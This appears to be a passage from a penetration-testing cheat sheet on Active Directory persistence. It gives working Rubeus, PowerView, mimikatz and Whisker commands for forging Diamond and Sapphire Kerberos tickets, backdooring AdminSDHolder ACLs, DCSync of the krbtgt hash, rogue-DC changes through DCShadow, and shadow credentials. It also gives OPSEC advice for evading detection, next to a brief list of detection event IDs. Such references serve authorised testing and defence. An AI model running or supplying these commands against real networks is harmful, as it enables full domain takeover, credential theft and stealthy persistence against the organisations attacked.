.\Rubeus.exe diamond /ticket:<BASE64_TGT> /ticketuser:Administrator /ticketuserid:500 /groups:512 /krbkey:<KRBTGT_AES256_KEY> /ptt

# Specify target user to impersonate
.\Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512,513,518,519,520 /krbkey:<AES256_KEY> /ptt

# Use diamond ticket
klist
dir \\dc01\C$

Diamond Ticket Parameters
#

# Common group RIDs:
# 512 - Domain Admins
# 513 - Domain Users  
# 518 - Schema Admins
# 519 - Enterprise Admins
# 520 - Group Policy Creator Owners

# Well-known user RIDs:
# 500 - Administrator
# 501 - Guest
# 502 - krbtgt

# Create minimal privilege escalation (less suspicious)
.\Rubeus.exe diamond /tgtdeleg /ticketuser:<USER> /groups:512 /krbkey:<KEY> /ptt

# Full domain admin privileges
.\Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512,513,518,519,520 /krbkey:<KEY> /ptt

Sapphire Ticket
#

Similar to Diamond Ticket but requests new TGT instead of modifying existing one. Uses S4U2Self to obtain legitimate ticket, then modifies it.

Requirements: krbtgt AES key, compromised account credentials

# Rubeus - Create Sapphire Ticket
.\Rubeus.exe sapphire /ticketuser:Administrator /ticketuserid:500 /groups:512 /krbkey:<KRBTGT_AES256_KEY> /user:<COMPROMISED_USER> /password:<PASSWORD> /ptt

# With NTLM hash
.\Rubeus.exe sapphire /ticketuser:Administrator /ticketuserid:500 /groups:512 /krbkey:<KRBTGT_AES256_KEY> /user:<COMPROMISED_USER> /rc4:<NTLM_HASH> /ptt

# Specify domain controller
.\Rubeus.exe sapphire /ticketuser:Administrator /ticketuserid:500 /groups:512 /krbkey:<KRBTGT_AES256_KEY> /user:<USER> /password:<PASS> /dc:<DC_IP> /ptt

AdminSDHolder Abuse
#

Modify AdminSDHolder container ACL to grant persistent permissions on protected groups (Domain Admins, etc.). SDProp process propagates ACLs to protected objects every 60 minutes.

Requirements: Write access to AdminSDHolder object (typically requires Domain Admin)

Add Backdoor User Permissions
#

# PowerView - Grant user full control over AdminSDHolder
Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=contoso,DC=local" -PrincipalIdentity backdoor_user -Rights All -Verbose

# Grant specific rights (less obvious)
Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=contoso,DC=local" -PrincipalIdentity backdoor_user -Rights ResetPassword -Verbose

# Grant DCSync rights (Replication privileges)
Add-DomainObjectAcl -TargetIdentity "DC=contoso,DC=local" -PrincipalIdentity backdoor_user -Rights DCSync -Verbose

# Native AD Module method
$acl = Get-Acl "AD:\CN=AdminSDHolder,CN=System,DC=contoso,DC=local"
$user = Get-ADUser backdoor_user
$sid = [System.Security.Principal.SecurityIdentifier]$user.SID
$identity = [System.Security.Principal.IdentityReference]$sid
$adRights = [System.DirectoryServices.ActiveDirectoryRights]"GenericAll"
$type = [System.Security.AccessControl.AccessControlType]"Allow"
$inheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance]"All"
$ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($identity, $adRights, $type, $inheritanceType)
$acl.AddAccessRule($ace)
Set-Acl -AclObject $acl -Path "AD:\CN=AdminSDHolder,CN=System,DC=contoso,DC=local"

Verify Permissions
#

# Check AdminSDHolder ACL
Get-ObjectAcl -Identity "CN=AdminSDHolder,CN=System,DC=contoso,DC=local" -ResolveGUIDs | Where-Object {$_.IdentityReference -match "backdoor_user"}

# Native AD
Get-Acl "AD:\CN=AdminSDHolder,CN=System,DC=contoso,DC=local" | Select-Object -ExpandProperty Access | Where-Object {$_.IdentityReference -match "backdoor_user"}

Trigger SDProp Manually (Optional)
#

# SDProp runs automatically every 60 minutes
# To trigger immediately (requires Domain Admin on DC):

# Via PowerShell on DC
Import-Module ActiveDirectory
$RootDSE = Get-ADRootDSE
$RootDSE.FixUpInheritance = 1

# Via LDAP modify
# Requires privileged access to DC
# Not commonly used - waiting 60 minutes is standard

Verify Propagation to Protected Groups
#

# After SDProp runs, check if ACL propagated to Domain Admins
Get-ObjectAcl -Identity "Domain Admins" -ResolveGUIDs | Where-Object {$_.IdentityReference -match "backdoor_user"}

# Check other protected groups
@("Domain Admins", "Enterprise Admins", "Administrators", "Account Operators") | ForEach-Object {
    Write-Host "Checking $_"
    Get-ObjectAcl -Identity $_ -ResolveGUIDs | Where-Object {$_.IdentityReference -match "backdoor_user"}
}

Exploitation After Propagation
#

# Once ACLs propagate, backdoor_user can:

# Reset Domain Admin password
Set-ADAccountPassword -Identity Administrator -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "NewP@ss123!" -Force)

# Add themselves to Domain Admins
Add-ADGroupMember -Identity "Domain Admins" -Members backdoor_user

# Perform DCSync (if DCSync rights were granted)
lsadump::dcsync /domain:contoso.local /user:krbtgt

Detection & OPSEC
#

# Detection indicators:
# - Event ID 5136: Modification of AdminSDHolder object
# - Event ID 4662: Operation performed on AdminSDHolder
# - Unusual ACEs on AdminSDHolder (especially for non-admin users)
# - Unexpected users with rights on protected groups

# OPSEC considerations:
# 1. Use service accounts or existing admin accounts (blend in)
# 2. Grant minimal necessary rights (ResetPassword vs GenericAll)
# 3. Add ACE to existing protected account if possible
# 4. Monitor for AdminSDHolder enumeration tools (detection opportunity)

# Cleanup (if needed)
Remove-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=contoso,DC=local" -PrincipalIdentity backdoor_user -Rights All

DCShadow
#

Description: Register rogue Domain Controller to push malicious changes directly to AD without going through legitimate DC. Extremely stealthy as changes appear to originate from DC.

Requirements:

  • DA or Enterprise Admin privileges (to register DC)
  • Two sessions: one as SYSTEM, one as DA
# Session 1: Run as SYSTEM (mimikatz)
privilege::debug
!+
!processtoken
token::elevate

# Register as DC and prepare for push
lsadump::dcshadow /object:targetuser /attribute:primaryGroupID /value:512

# Session 2: Run as Domain Admin (mimikatz)
# Trigger replication to push changes
lsadump::dcshadow /push

# Alternative: Specify specific attributes to modify
# Session 1 (SYSTEM)
lsadump::dcshadow /object:CN=targetuser,CN=Users,DC=contoso,DC=local /attribute:servicePrincipalName /value:"HTTP/fake.contoso.local"

# Session 2 (DA) - push changes
lsadump::dcshadow /push

# Modify multiple attributes
lsadump::dcshadow /object:targetuser /attribute:sidHistory /value:S-1-5-21-...-512

# Add to Domain Admins via primaryGroupID
lsadump::dcshadow /object:backdooruser /attribute:primaryGroupID /value:512
lsadump::dcshadow /push

Shadow Credentials
#

Add Key Credentials to user/computer object msDS-KeyCredentialLink attribute to enable authentication without knowing password.

Requirements: Write access to msDS-KeyCredentialLink attribute on target object

# Whisker - Add shadow credential to user account
.\Whisker.exe add /target:targetuser /domain:contoso.local /dc:DC01.contoso.local /path:cert.pfx /password:CertPass123!

# List existing key credentials
.\Whisker.exe list /target:targetuser /domain:contoso.local

# Remove shadow credential (cleanup)
.\Whisker.exe remove /target:targetuser /deviceid:<DEVICE_ID> /domain:contoso.local

# Pywhisker (Python alternative from Linux)
python3 pywhisker.py -d contoso.local -u lowpriv_user -p Password123! --target targetuser --action add --filename cert

# Authenticate with certificate
certipy auth -pfx cert.pfx -dc-ip <DC_IP>

# Or with Rubeus
.\Rubeus.exe asktgt /user:targetuser /certificate:cert.pfx /password:CertPass123! /ptt